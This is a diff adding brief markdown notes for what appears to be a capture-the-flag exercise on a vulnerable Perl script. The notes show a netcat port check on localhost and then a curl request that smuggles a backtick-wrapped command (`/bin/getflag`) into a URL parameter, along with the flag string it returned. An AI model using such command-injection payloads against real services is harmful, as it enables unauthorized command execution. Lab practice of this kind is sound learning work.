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+# Todo: perl script problem
+- understand the `.pl`
+- know `2>&1`
+```b
+> nc -vz localhost 4747
+  👆 v: verbose - z: scan if a port is open
+Connection to localhost 4747 port [tcp/*] succeeded!
+
+> curl localhost:4747/?x="\`/bin/getflag\`"
+ne2searoevaevoem4ov4ar8ap
+```